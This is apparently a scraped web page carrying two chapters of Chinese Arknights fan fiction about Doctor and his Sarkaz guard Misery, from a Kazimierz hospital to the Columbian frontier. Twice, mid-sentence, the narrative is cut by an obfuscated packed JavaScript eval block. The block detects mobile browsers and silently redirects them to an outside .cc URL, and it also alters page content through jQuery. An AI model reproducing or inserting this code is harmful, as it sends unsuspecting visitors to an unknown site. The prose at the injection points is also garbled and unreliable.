【不用这么悲观。】年长的斐迪亚尾尖点了点垂头丧气的萨卡兹头顶,【短期内还不会出事,他现在状态挺好的,再住一段时间就可以出院了。】 博士苏醒以后仍然嗜睡,虽然医生说这是他的身体在自我修复的迹象,Misery依然担忧不已,日日守在博士床边,确保博士醒来第一时间就能看到他。直到Mantra看不下去,拎着萨卡兹的领子勒令他去睡觉,还转弯抹角在博士那告他的状,博士也乐得配合。 “什么时候把你眼睛底下的黑眼圈睡没了再来见我,而且我也有些话要跟Mantra女士单独聊聊,以及明天我要见到你的体检单,看你有没有趁我不在的时候过量使用源石技艺。” 连博士都在赶人了,Misery只好恋恋不舍地出去,尾巴都失落得快垂到地上。Mantra看到他那没出息的样子就来气,但比起教训萨卡兹小辈,她还有更重要的事情。 “托兰怎么样了?” 【让他跑掉了,真可惜,狡猾的赏金猎人,没能用无胄盟的箭在他身上戳几个洞。】Mantra没有动嘴但硬是让博士听出来几分咬牙切齿的味道,在她的地界上敢绑架人看来把成熟稳重的斐迪亚也气坏了。 博士轻声笑笑,“也难为你们做戏做全套了,让我猜猜,是欣特莱雅提供了许多细节上的帮助。” 【我们一开始怀疑过是不是她泄露了你的消息,但是她看上去也很焦急,而且积极参与你的搜救,告知我们无胄盟隐藏的武器库地址。】Mantra顿了顿,【这几天她也偷偷来病房门口看过你几次。某个小心眼的萨卡兹不肯挪步,她不敢进来。你失踪的时候,Misery行为比较……过激。】 “我会让他跟人家道歉的。” 【他也就只听得进去你的话了,以前多么好说话的一乖小孩,现在倔得跟蹄兽似的。】 “孩子总会长大的,会有变化也很正常。他现在比我刚认识那时候都变得挺多,长胖了些,做饭手艺也越来越好,脸皮倒是越来越薄,以前惹他生气了,他还会假装酷哥板着脸不理我。”博士怀念说道。 【我看他是脸皮越来越厚了,有外人在场他看你的眼神也像要把你吃了似的,难怪他以前老带着护目镜。】 “咳咳。”话题本人没有去睡觉,而是出现在门口敲了敲门,他的耳朵红红的,也不知道听到里面博士说的哪些话,“烛骑士来了。” 博士的眼神扫过来,Misery尾巴又低了低,他自觉后退,“你们聊,我继续去补觉。” 薇薇安娜礼节周到,来看望病号的她褪下了那身华丽的服饰,换成了素雅的白色长裙,角上装饰全无,她把博士床头恹恹垂下脑袋的花朵换上了新的花束,娇嫩的花瓣上还挂着露珠,为洁白的病房带来些喜色。 她向博士郑重致歉,因为他们的安保疏忽让博士遭遇了危险,红松剧团已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391777|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清理了内部的叛徒,他们多是被商业联合会收买的人。 “多亏索娜他们牵线搭桥,我们从赏金猎人那里得到了你的线索。” 博士接受了她的道歉,他还有许多问题想要询问,托兰让他看到卡西米尔的另一面,无论赏金猎人是否有意为之,都让他产生了疑问。 “我见到了一些城镇以外的感染者,他们的生存状态很不乐观。” “你说的是被商业联合会和监正会甚至骑士都抛弃的人。”薇薇安娜一脸了然,“你疑惑为什么我们不帮助他们,对吗?” 博士点头,“我知道你们没有那个义务……只是好奇问问。” “他们都或多或少都参与过针对城市的恐怖袭击,是一群非常危险的人。监正会把他们流放,由赏金猎人专门看管。他们是被社会排除在外,被漠视的一群人。” “但是他们当中也有单纯的受害者,有只是因为天灾流浪、交不起税被赶走的人。” “赏金猎人的话没那么可信,博士,我不知道托兰给你说了些什么。但我想告诉你的是,极端的思想像病毒一样在他们之间传播,如果城市接纳他们,这股思想会迅速蔓延开来,他们会攻击城市,攻击骑士,甚至攻击没有感染的普通人,摧毁我们好不容易为普通感染者争取到的权利。”薇薇安娜转过头,露出一丝不忍的神色,“我知道这样说太残忍了,这就是送他们去死,但我们没有更好的办法了。” “我明白了。”博士语气淡淡的,他原本也不是为了问责,薇薇安娜既代表不了监正会也代表不了商业联合会,她在试图修补自己的世界,她不该为此负责,“感谢你们的治疗,等我伤养好以后,我们也该离开卡西米尔了。” 巡演还未结束,博士的意思已经很明显,他不愿意再留下,也许是因为这里的人让他失望,也许是托兰的话无意中点醒了他,他能够延缓病人身体上的疼痛,但他改变不了他们的命运。 “我尊重你的选择,博士。”意料之中的拒绝,薇薇安娜没有太惊讶,她仅剩的紫色眼睛仍然填满了遗憾,“我会通知大家,我想有些人这几天会很想跟你亲自告别,可以吗?” 博士点头同意。 白金终于找着机会,趁那个凶恶萨卡兹不在的时候溜进博士的病房。看她那紧张又小心翼翼的样子,博士不由得笑出声:“Misery帮我采购东西去了,起码还要半天才能回来,放心。” 白金搬出凳子坐在博士的床边,一脸心有余悸,这让博士好奇起来一向温和的萨卡兹究竟做了什么把人家吓成这样。 “他差点直接拿匕首捅我脖子。”白金摸了摸她现在还完好无损待在她肩膀上的脖颈,“太快了,他的源石技艺是瞬移吗?我怀疑Mantra奶奶要是再晚一秒制止,你就再也见不到我了。” “但是后来你洗脱了嫌疑,还给了关键性的帮助,他不应该还对你态度差吧?” “你是没见过救回你之前他的眼神,冷嗖嗖的,堪比在大商超杀了十年鳞的师傅,和他说话都需要鼓起勇气。不过不是针对我一个人,对所有人他都这样。” “他平常挺温和的,”博士试图挽回一点萨卡兹的形象,“以前有朋友喝醉了吐一地,他都能给人家擦两个小时的地。” “那更恐怖了吧,像那种阴恻恻的会把受害人分尸装进冰箱,然后还把地都拖干净的变态杀人狂。”白金抚着胸口,好像她面前真的出现了这个画面。 “你这么丰富的想象力,不去帮忙写剧本可惜了。”博士笑着摇摇头,“说起来你的右手没事吧?当时袭击托兰的第一箭……是你射的。” “没事,你看,”她上推衣袖,露出光洁的胳膊,疤痕不知道涂了什么药已经淡得几乎看不见,“虽然还完全比不上以前的水平,但是有你的治疗,我已经可以正常拉弓射箭了。” “那挺好的,以前见你就和脱了水的鳞似的,整天瘫在那里无所事事。” 白金有些不好意思地捏了捏自己的鼻尖,她深吸一口气给自己鼓劲,“我那个时候连维持活下去这个念头都很勉强,直到……真的很感谢你,博士,我知道你要走了,在走之前能陪我去一趟游乐场吗?只需要花上你的两个,不,一个小时就行!” 她递来一张游乐园的门票。 博士犹豫起来,他不缺这一个小时,只是这会不会给别人留下错误的印象,即使再迟钝的人也能看出来这是个约会。 “抱歉,欣特莱雅,你该约的人不是我。”他摸了摸天马的头,白金收回那张票,嘟囔着好吧再见博士,低着脑袋走了。 博士转过头,对着空气说道:“别躲在那里偷听了,人家都走了。” 从墙上析出了一个萨卡兹,Misery自知理亏,乖乖坐到博士床边,他的语气低沉:“我以为你会答应她。” “怎么,我要是答应她了,你又要拿刀戳人家脖子?” “……我已经道过歉了,博士。”Misery垂着眼睛,好像博士怎么欺负他了似的,“虽然好像又一次吓到她了。” “她是个坚强的人,会自己调理好的。倒是你,我要是答应了你真的不会偷偷找个地方掉眼泪?”博士笑弯了眼睛看着他。 “我哪有这么容易哭,我在你心里就是这么脆弱吗,博士?”Misery反驳道,他尽力板着脸,像过去他对博士生气那样。 “但我觉得你会,所以我拒绝了。” 萨卡兹感觉自己快心率过速了,所以博士是因为他,因为不想让他伤心,所以才拒绝……博士真的很在乎他。 萨卡兹还想说点什么,也许是再来一个吻?他还没想好,但一阵危险的预感直冲他天灵盖,比以往任何时候都要来得强烈的感觉,他几乎是本能地罩在了博士身上。 “Misery?” 不到五秒钟,从床柱到玻璃窗户都剧烈摇晃起来,抖落下的墙灰落满萨卡兹的背部,瓶瓶罐罐摔落地面破碎的声音不断响起,但好在这剧烈的震动只持续了极短的时间。 “是地震了吗?”博士把自己撑起来,萨卡兹已经抓过挂着的吊瓶,一手揽过博士随时准备穿墙离开了。 “等等,Misery——”博士及时叫住了他。 挂在床对面的充当背景的电视上转播了惊人的影像,直充天际的一道能量光束击碎了阻隔层,虚伪的星象被撕碎,天空荡漾着波纹,漆黑的空洞像一只睁开的纯黑眼睛,朝这片大地的每一个人投下视线,眼球里面并非一无所有,那里盛满了博士曾经无比熟悉的…… 真正的星空。 13. 12 Mantra交付给博士一台崭新的终端,与他们在商店里能买到的不同,进行过特别的改装和加固,他和Misery的终端能够彼此定位,而且能通过加密频道联系。 “这段时间感谢你的照顾。” 博士换上了全新的防护服,他与Mantra说话时仍然摘下了兜帽,这段时间的精细调养下,他的脸上总算长了点肉,脸蛋上扑着层健康的粉色。他往前一步,伸出手臂。 斐迪亚俯下身给了瘦弱的人类一个拥抱,然后揉了揉博士的脑袋。虽然种族不同,年龄不同,但她总认为博士像年幼的阿米娅,善良,认真,理想主义,连那股执拗的劲也一模一样,但又比阿米娅多了一份决绝与清醒。也许会因为这点不一样,他会和阿米娅走向不同的结局。 【不必客气,我会像多年前我支持阿米娅那样支持你,有任何需要都可以提。】 博士笑了笑,“那以后在拉特兰再见。” 【嗯。砾骑士会护送你们到哥伦比亚边境,那边我也安排好人对接了。】 斐迪亚拉上博士的兜帽,把他的面罩遮严实,最后确认般用坚硬的尾巴尖戳了戳面罩,确定穿戴稳固后她才松了口气,把博士推回Misery身边。 “走吧。” 博士先一步离开,Misery又戴回了他的战术目镜,换上一身方便行动的劲装,背着行李,他朝Mantra礼貌点头,转身跟上了博士的脚步。 他们的离开没有大张旗鼓,只通知了极少数重要人员,以伤重看病的理由前往哥伦比亚,以博士的身体状态任谁看了都觉得是真的。那一天夜晚的景象与强烈的预感同时敲打上Misery的心头,博士依然没有解释他为何执意去哥伦比亚,但那里说不定真的有博士要找的东西。 砾骑士,现任二级征战骑士,已经能够统领一支骑士小队,一位看上去甚至称得上可爱的小小的札拉克,她初见博士时还差点闹出个小插曲。热情的札拉克打招呼时都差点贴博士脸上,让旁边的Misery惊得还以为遇到刺客了——虽然后面发现砾只是想行贴面礼,博士还替他跟对方道了歉。 但他仍然高兴不起来,札拉克几乎毫不掩饰她对于博士的欣赏和亲近,跟博士凑近说话时脸上泛着不正常的红晕。砾的胳膊上露出的条形码代表了她被奴役的过去,但她本人并不在乎这个,博士问起时,她甚至笑着贴过去在博士身旁耳语,举手投足间都亲昵无比,但又足够礼貌,没有和博士本人产生过多肢体接触。 Misery烦躁甩了甩尾巴,他真的无意插足博士的社交,只是再这样下去,他这个脸皮薄的、总是插不上话的连侍卫位置都快待不下去了。 他庆幸自己戴上了护目镜,最能传达情感的眼睛被镜片遮掩,不然一早就把不满流露了出去。他信任Mantra选人的眼光,抛开那些让他烦恼的事情,砾热情大胆的同时足够认真负责,精于隐匿渗透,而且擅于调节气氛,又能避开向他们打探关键信息,的确是符合他们需求的护卫。 博士抓住这位沉思者的尾巴。由于博士的经常性突然袭击,Misery现在已经快脱敏了,至少他已经不会第一时间跳起来,他看向博士,尾巴在博士的手里收敛起力道,柔软贴在人类的掌心。 “你上一次说话是三个小时以前。”博士指出,“怎么了?” “没事……我只是没想到说什么。” “但你的尾巴可不是这么说的,让我想起有本书上写的萨卡兹的尾巴语言密码,你现在就很符合里面的烦躁不安状态。” 所以他们执行重要任务时也会倾向于藏起尾巴,没有经过特殊训练,它的确太容易暴露主人的心理状态。 但Misery不想承认,他撇过头,搪塞道:“我在想事情的时候也会这样,你知道我的老毛病,很容易过于担忧,沉浸在自己的世界里……没关系的,我想清楚了就没事了。” 博士把到嘴边的什么事情连我也不能说吗咽了下去,他对这位萨卡兹欠缺了太多的解释,他没有资格这样质问一个为了追随他几乎抛弃所有、真心相待他的人。 “那好吧,如果你需要的话,可以跟我说说看。”他尽量软下语气,但Misery少见的没有买账,他点点头,又不说话了。 他和萨卡兹的关系好像回到了巴别塔那时,Misery的温和礼貌让他始终保持着一段不远不近的距离。那时候他也不够在意这个心细的萨卡兹心里是怎么想的,身为巴别塔的一部分,博士对他天然存在提防与抵触。如今这种疏离却让博士难受不已,难道是因为他过于习惯平时的Misery会把所有注意力放在他的身上,他什么时候对Misery这么有占有欲了? 很快,就连砾都发现他们之间的气氛不对劲,她识趣没有多问,只是“凑巧”需要单独行动几次处理征战骑士的事务,给他们俩留下更多单独相处时间。 博士看着表面跟往常没什么两样的Misery,欲言又止,萨卡兹像是在闹脾气,只是不知道是因为博士还是因为他自己。他一向听话懂事的Misery如今也有自己的小心思了,博士叹气。 “我坚持去哥伦比亚,是因为能够击碎阻隔层的能量远超出了泰拉应有的科技水平,无论是因为哥伦比亚挖掘到了前文明的武器,还是有更糟糕的事情发生,我都需要去亲自确认——这是我的义务,对我们的文明造成的影响负责。” Misery愣了下,他没想到博士居然真的会向他解释,即使博士不这样做,也完全没有任何影响,他不会质疑博士的决定。 “在乌萨斯那次也是,虽然你可能已经看出来了,我去回收石棺……还存着一丝能够找到同族的希望。” “博士,”Misery打断道,“不用再说了,我都能理解,我也完全支持你的决定。” 博士摊手,无比自然接话道:“好,既然我已经坦白了,那接下来该你了。” “我不是因为这个才——”Misery摸了摸自己的鼻尖,“对不起,博士,因为说出来有点丢人……” “嗯?” 但他这样继续一个人闷下去还会导致更多更严重的误解,更丢人了。 “因为砾骑士跟你的亲近,我有点……危机感。她美丽又热情,比笨拙的我更会讨你的喜欢。她不是萨卡兹,和卡兹戴尔没有任何关系,还是年轻有为的征战骑士精英,未来的团长候选。而且她也很细心,会照顾人,做饭也不差……” Misery本来还想罗列出好几条,但博士贴在他胸口上的手打断了他。 “这些都不是最重要的,这里才是。”博士抬头认真看着他,往事浮现在眼前,许多的身影与面前这个人重叠,温柔的、悲伤的、开心的、幸福的、担忧的……它们共同组成了Misery,“你有一颗柔软真诚的心,它总是牵动着我。我们一同度过的经历,无论开心还是悲伤,无论欢乐还是痛苦,这些过去的回忆才真正重要、无可替代。” “博士……” 博士深吸一口气,他已经确定了一些东西,他不会再逃避了,“你是我珍视的人,我没法用轻飘飘的语言描述你对我有多重要,但在你们的文字中,‘爱’应该是最接近的那一个。” 砾敲终端的手指快得出残影,她在备注M的聊天界面敲了一长串感叹号字符。在躲避的角落里,她看见落在草地上无人问津的护目镜和面罩以及靠近的两双鞋子,良好的素养使她在内心发出无声的尖叫。是谁说卡西米尔的幻想小说没有成真的一天?感谢派给她这个任务的神秘M女士! 她收起终端,体贴地又在外面忙活了小半天才回来,但她期待中的画面并没有出现。博士和Misery没有像小说里那样如胶似漆、对视一下脸红半天,他们穿带整齐,保持着优秀社交距离,神态正常无比,博士甚至还问她怎么这么久才回来是不是遇到了什么麻烦。 好吧,把亲密关系暴露给外人的确不太适合他们。砾遗憾地想。尽管某位M女士已经把许多精简版内容跟她透露完了,她也算不上外人。 不过也不是一点好处都没有,他们俩没有继续闹矛盾就是给砾帮大忙了。博士还好,一直挺通情达理好说话的,但她还记得那个萨卡兹不配合的时候有多难搞,她想走森林被质疑有埋伏,她想走草原被质疑有埋伏,她想走城镇那就更有埋伏了。 无论如何,好在如今她终于完成使命,把他俩安然无损送到了哥伦比亚边境。 “祝你们幸福。”她真诚说道,脸颊红红的。 脸红的萨卡兹拉上不明所以还在说谢谢的博士走了。 哥伦比亚173号拓荒地。 戴着牛仔帽的萨科塔拽紧缰绳,停下驮兽的脚步,腰间的左轮铳枪在阳光下反射刺眼的光,她回头朝身后的两位客人露出爽朗的笑容。 “来了173号拓荒地,就一定要尝尝海伦娜的手艺,但愿她今天没有跟着治安队出外勤,希望我们今天都能交好运。” 这位自称Outcast的女性萨科塔就是Mantra在哥伦比亚的接应人,她隶属于梅兰德基金会。这还是博士第一次近距离接触一个真正的萨科塔,比起Misery的紧绷,她却完全不在意萨卡兹的敌意,直接一上来就给了他俩一人一个热情的拥抱。 荒野上伫立的可移动式集装箱里藏着一家设备齐全的餐馆,推开店门,美丽成熟的埃拉菲亚在吧台后面擦杯子,见来了客人语气熟稔招呼起来:“Outcast——什么风把你吹过来了?我还以为你早把我这个又老又破的小餐馆忘了呢。” “海伦娜,我的甜心,荒野的风一刻也不等人,我风雨兼程赶了好几天的路,才把我的客人们带到这里,今天的菜单有什么特色菜吗?” 海伦娜放下杯子,为三人倒上酒精饮料,只是到博士这里时海伦娜自觉换上了热瘤奶。这个装在罐头里的小家伙真的成年了吗? “有,你们今天运气很好,伍洛德新打来的几头野兽。”海伦娜伏在吧台上,好奇打量旁边一大一小两个新客人,“既然你们是Outcast的客人,那也是我的贵客,包让你们今天吃得满意。” “谢谢。” 博士取下面罩,端起热瘤奶小口小口喝着,他清秀的面容让海伦娜更加坚定自己的猜想,一定是哪家的小孩子家里遭了难,让Outcast救回来,这样的事情以前也不是没有发生过。 “今天店里就你一个人?” “怎么,看老板娘都看腻了,想见点新面孔?”海伦娜嗔怪道。 “怎么会呢,你一如既往美丽动人,女士。”Outcast轻声笑笑。 “哼,我们的小杰西卡治安官这些天忙得脚不沾地,西尔维娅还在隔壁地块出差,至于伍洛德,他比较闲,在后面院子里给驮兽修蹄子呢。”海伦娜手里忙活不停,嘴上同样流畅利索。很快一股烤肉的香气就在室内蔓延开,温暖的气息冲淡了渐冷的天气带来的寒凉。 的确如Outcast所说,海伦娜的手艺在拓荒地独树一帜,她特殊配方的腌料为兽肉增添了一抹果香。她分割时还特意多给博士划了一块软烂易嚼的部分。 “还在长身体呢,多吃点。”她爱怜地摸了摸博士的脑袋。 “……我是成年人,海伦娜女士。”博士有些哭笑不得,原来只给他一个人瘤奶是这个原因。 “噢!真是抱歉,我还以为你比杰西卡都要小上几岁,你是杜林吗?看起来真年轻。” Outcast替他作答:“怪我,怪我,没有及时给你介绍。这位是博士,矿石病领域专家,哥伦比亚现在流通的矿石病药物配方专利可能有一半都是他无偿分享的。旁边这位是他的萨卡兹护卫,腼腆害羞的小Misery。” 埃拉菲亚立马换上了一副尊敬的表情,她再次向博士道歉,为了表示歉意她特意给博士多上了一道小甜品。 Outcast直呼偏心,她也想要一份海伦娜特制小甜品,被埃拉菲亚无情驳回:“等你什么时候把右手的伤养好了再来我这讨要奖励。” Misery安静吃饭,一开始的戒心也在萨科塔的热情下消散了,哥伦比亚拓荒地风味的酒精染红了他的脖子和耳尖。 “海伦娜——”一个萨科塔大叔掀开帘子从侧门进入,他蓄了卷曲的胡子,一身猎户的打扮,风尘仆仆,“今天这么热闹,Outcast也在,我还正好想找你帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391778|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “怎么了,伍洛德?”海伦娜在毛巾上擦手,已经在准备解开身上的围裙走出吧台。 “附近有一群驮兽发狂了,有人找我们求助。” “你一个人一定忙不过来,Outcast手伤也还没好,我驯驮兽的技术又太差劲……” 已经吃饱喝足的博士插嘴道:“我们也来帮忙。” 伍洛德看向他瘦弱的四肢,不赞同地摇头:“你拉不住驮兽。” 博士拍了拍旁边人高马大的萨卡兹肩膀,“但他可以。” 海伦娜和博士专心后勤,他们支起遮阳伞,在安全的高处喝着饮料观看眼前热闹的驯驮兽场面。他们通过大型载具驱赶驮兽群,围进这片已经准备好的区域里,然后就是通过物理的方式让这群驮兽冷静下来—— “对,就是这样,把绳子抛出去!”Outcast由于手伤被禁止套驮兽,但她充当起了Misery的临时教练,骑着迅捷型驮兽在萨卡兹身后加油鼓劲。 Misery虽然以前没有做过,但他的学习能力以及身体灵活点满,他的第一个绳套就圈中了其中一只驮兽的脑袋。 “然后收紧绳子,骑上去,用你的手肘和腿靴上的刺……” Misery灵巧翻到驮兽背部,他按照萨科塔的指令,攀紧驮兽的表皮,用疼痛去对抗驮兽的气力,逼迫发狂的驮兽冷静下来。 驮兽哪受得了这样的气,它撒开蹄子绕场好几圈。猛烈的颠簸和风声呼呼,萨卡兹好几次差点被驮兽顶下去,连Outcast都惊呼连连,博士也捏紧拳头为Misery加油。萨卡兹与驮兽原始的耐力角逐,Misery最终抓稳了绳套,在与驮兽的拉锯赛中逐渐占了上风。 精疲力竭的驮兽最终停下它的脚步,Misery稳坐背部,用绳索和刺引导这只驮兽前往伍洛德看管的区域。他额头汗如雨下,在阳光下闪闪发光,白色发丝蜿蜒粘在额角,衣服裹上一层灰扑扑的尘土。后勤的两位赶紧上前查看情况,博士递水,海伦娜递汗巾。 “你的首次驯服表现不错。”Outcast点评道,“假以时日,你一定会成为驯服驮兽的高手。” Misery还在平复呼吸,他简单擦擦汗,又喝了一大口水,“还剩多少?” “伍洛德把它们分隔开,脾气比较温顺的还好,都被赶到围栏里了,剩下的暴躁大个头大概还有七八头。”海伦娜清点了下场地里的情况。 Misery拉起上衣,直接脱掉,搭在椅子上,露出一身精壮流畅的肌肉线条,黑色的源石结晶像一枚枚精致的纹章,散落在他体表上,他的呼吸起伏带动胸口的肌肉流动。海伦娜吹了声口哨,悄悄在博士身边问萨卡兹小伙子是不是都有这样的好身材。 博士想了想,可能真的是,卡兹戴尔空气中仿佛飘的都是蛋白粉,塑造了萨卡兹伟岸的□□,而痛苦漫长的历史又赋予了他们不屈的灵魂。即便是Misery这个最不萨卡兹的萨卡兹,也依然抹不去他骨子里的骄傲。 “Outcast一直都这样热情开朗吗?我刚开始以为萨科塔都这样,但伍洛德先生又明显不属于这一类。”博士嘬几口饮料,看Outcast指导Misery怎么样更好使力。 真是个奇妙的场面。萨科塔不时大笑着猛拍萨卡兹的肩膀,Misery从一开始的半信半疑到逐渐得心应手,他的嘴角上扬,整个人在阳光底下熠熠生辉。 “伍洛德是个固执嘴硬的老头,就算他是个萨科塔那也改变不了他固执的本性。而Outcast不一样,从我认识她开始,她就像个自由的浪客,一个人,一把枪,就凭着这些,单枪匹马从西部荒野的神话闯出来的探险家。连她右手上的伤,都是上个月我们打击匪帮时,她为了保护一个小孩挡下的伤害。”海伦娜感叹道,“我有时候很羡慕她,她的强烈的正义感和保护欲,还有一往直前的无限勇气。” “但再勇敢的英雄也需要有人保护她的后背。”博士举杯,“敬我们的幕后英雄。” 海伦娜笑着与他碰杯。 他们忙活了一下午,总算把所有发狂的驮兽单独隔离看管起来,把驮兽群分给了附近的牧民。海伦娜为大家准备大餐,在Misery的坚持下,他也帮着打下手。 众人围着火堆,倒满酒精饮料,在星空下载歌载舞。两位萨科塔都是跳舞的好手,海伦娜也不差,连博士都被撺掇着起来围着篝火简单跳一跳。Misery牵着博士的手,一同加入这火热的氛围。 哥伦比亚广阔的拓荒地滋养了这群自由的灵魂,他们与自然野蛮共生,在天空下讴歌自由,嘲弄命运。他们之间抹去了种族、国家、文化的隔阂,只要唱过一首歌跳过一支舞,那就都是兄弟姐妹,都是一家人。他们当中有菲林,黎博利,埃拉菲亚,萨卡兹,萨科塔……火焰悦动在这群橘红色的脸蛋上,萨卡兹明亮的笑意未减。 等到夜深人静的时候,他们在支起的帐篷里过夜,博士背靠枕头掏出一本小册子,在上面写着什么。 Misery感觉自己还没清醒,走路飘乎乎的,他有点笨拙地挪到博士身边,博士写的字迹就像一群扭曲的小虫子一样难以辨认。 看着离纸张越凑越近的萨卡兹脑袋,博士无奈地敲敲他的额头,把Misery的脑袋掰回自己的肩膀上。 “你在写什么,博士……” “我在记录最近的事情,但不是日记,这是一种,嗯,比较个人化的符号和片段化的记叙方式。” “我怎么什么都看不懂?我是不是变笨了……” 博士噗嗤一笑,“你看不懂才正常,我用的是前文明的文字。” “但我想要看懂。”喝醉了的萨卡兹格外坦诚,“我想更加了解你。” 博士的手一顿,他知道醉鬼的话当不得真,也许一觉醒来后就全忘光了,但他仍然认真回答他:“好,等你清醒了我就教你。” 萨卡兹靠着靠着就没骨头一样滑溜下去,脑袋垂在博士的大腿上,他翻了个身,脑袋埋进人类柔软温暖的小腹,胳膊紧紧箍住博士的手臂。博士任由他去了,他轻轻拂开萨卡兹侧脸上散落的银丝,在纸页上写下最后收尾的符号。 14. 13 正值季节更替,凉爽的风卷起草叶,夏暑的余热还未从脚背上褪去,准备过冬的鳞也都贴了层肥膘,最是肥美的时候。尽管无论什么季节,博士都一如既往穿着防护服,将冷热寒暑隔绝在外,但他也不介意偶尔用脚上的皮肤去触碰真实的大地。 当然,这不是他故意找个理由在小溪里面淌水摸鳞玩。 他脱了靴子,挽起裤腿,手持抄网,站在浅而急的清凉水流中,聚精会神观察陷入漩涡的几尾鳞。脚趾陷入柔软的泥沙,清澈的溪水打着旋涌上脚腕,又缓缓下降轻吻人类的脚背。 他全神贯注,抄网一起一落,几次下来却只有沙子堆积在网面上,狡猾的小鳞尾鳍一甩就溜远了。 尽管他的观察仔细,角度也准确,但他的肢体不够听使唤,长期缺乏锻炼的胳膊像新长的一样绵软无力。不过他也不是非要捞到点什么,重在参与,就在离他不远的地方,更宽阔平坦的水池里,水性好的Misery几次潜入潜出,虽然不是每次都有收获,但他徒手摸到的几尾鳞就足够他们美美吃上一顿了。 萨卡兹只穿着短裤踩上岸边的鹅卵石从水里钻出来,他那头顺滑的银发被水流冲散,乱七八糟粘在脸上,他随手往后捋了一把,勉强恢复了软趴趴的背头,但更让人难以忽视的是他挂满水珠的精瘦身材,涓细的流水从结实的肩膀滑落到腰身,吸满水的裤子紧贴着大腿,把肌肉线条完美勾勒出来。 真是不知道第几次羡慕萨卡兹的好身材了,博士叹气。Misery把鳞交给在岸边已经搭好烧烤架的萨科塔,然后朝着博士走过来。 Misery朝他伸出手,他有点懵,把手里忙活了半天战绩为零的抄网交到Misery手上。这一举动换来萨卡兹带着疑惑的眼神,然后他往前多走了一步,握住博士的手。 “小心点,博士。” 哦,原来是怕他上岸摔着,真不知道是Misery太贴心还是博士太脆弱,以至于他从刚没过脚面的水里出来都需要有人扶。但博士没有拒绝他那细心的萨卡兹,他放心抓稳Misery的手掌,踩着细软的沙子一步一步稳健走出来。 刚到干燥的岸边,Misery就把他打横抱起来,萨卡兹担心锋利的石头会划伤博士脆弱的脚底,但他没有意识到这对于人类造成的心理冲击。 近距离的观察更让博士瞳孔地震,萨卡兹皮肤太白,被太阳晒过的地方都泛着红,红色的晒痕大片占据了他的胸膛,块垒分明的肌肉上缀着源石碎片。平常被厚实的衣服遮住博士都没有发现身边的萨卡兹如此慷慨而富有。他没有歌利亚那么强壮,但形状精美匀称,饱满得恰到好处。萨卡兹的体温偏高,蒸发的水汽扑面而来,温暖而潮湿。 博士一时之间眼睛都不知道往哪里放,转过头闯进视线里的又是Misery漂亮的下颌线,圆润的水珠挂在下巴的细绒毛上摇摇欲坠,他也不知道为什么自己会咽了口唾沫。 Outcast给他俩一人一条毛巾擦身。擦净身体以后Misery套上衣服,带上几乎从不离身的博士送他的手环,总算把他那一身容易惹人犯罪的□□遮盖起来,博士有些遗憾又有些庆幸,他真的控制不住自己的视线往萨卡兹身上瞟,美好的东西谁不喜欢看呢,好在好心的Misery本人并没有察觉到不对劲。 火堆烘干他们身上的潮湿,美味的烤鳞吃得博士满嘴流油,Outcast的手艺不比Stormeye差,但和弓箭手一板一眼的性格不同,她幽默风趣又足够体贴,哥伦比亚的逸闻趣事随口就来。 “在哥伦比亚有一个传说,许愿的少女把石头扔进水里,然后潜入水下能够把那块石头找回来的勇士,就是能在命运的长河中守护她的人。” 博士问:“只有少女能判断这块石头的真假吗?” “对。”Outcast回答道。 “所以决定权在那个少女身上,石头的正确与否不是最重要的,只要她认可那个人,那拾回来的石头就是对的。” “也可以这样理解,但挑破传说的面纱,事事都活得太明白了,会很累的,博士。” “抱歉。”博士摸了摸鼻尖。 “无妨,只是你不想试一下吗?就当体验哥伦比亚风俗,正好我们这有现成的道具和合适的勇士。”萨科塔偏头看了一眼萨卡兹。 “我就不用……” “我可以的,博士。”Misery的眼神坚定到博士都有些不忍拒绝。 “只是个传说故事,Misery。” 尽管这样说着,博士还是站在了水塘边,他蹲下挑选了一颗椭圆形的石头,上面被水流打磨得光秃秃的没有任何花纹,但如果仔细看,它的中心缺了一小块,像缺失的心脏。 “丢得尽可能高,尽可能远,这样寓意越好。”Outcast笑着指导道。 博士深吸一口气,用力挥手一扔,石头往池塘中心坠去,溅起不大的水花。 扑通——Misery盯准位置以后几乎同一时间下水了。站在岸边的博士只能看见萨卡兹在水下模糊的影子。 “你相信他吗?” Outcast抱起双臂,站在博士身边同样看向水底的影子。 “我……” “你不需要回答我,只需要回答你自己。”Outcast放低声音,她背后的光翼光芒流动,“Misery是个好孩子,就是有些缺乏自信,但一涉及到你的事情,他就像换了个人,他太想证明自己,可偏偏你是个非常独立又心里装着事的人,他想靠近你,却一直不得要领。” “有这么明显吗?”博士挑眉问道,“还是说这也是萨科塔的天赋?” Outcast笑着摇了摇头,“过来人的经验罢了,我感受不到你的情绪,但我会听,会看,大半辈子都在和非萨科塔打交道,看人这一点我还是有几分自信的。” “所以你设了这个考验。” Outcast挥了挥手指,“别把我说得这么像拆散情侣的反派角色——哦!快看!” 萨卡兹已经游到了岸边,他从水里起身,手心攥着一块东西,他湿淋淋地走到博士面前,胸口尚在起伏,呼吸不匀,他摊平手心,将他寻到的那块石头递给博士。 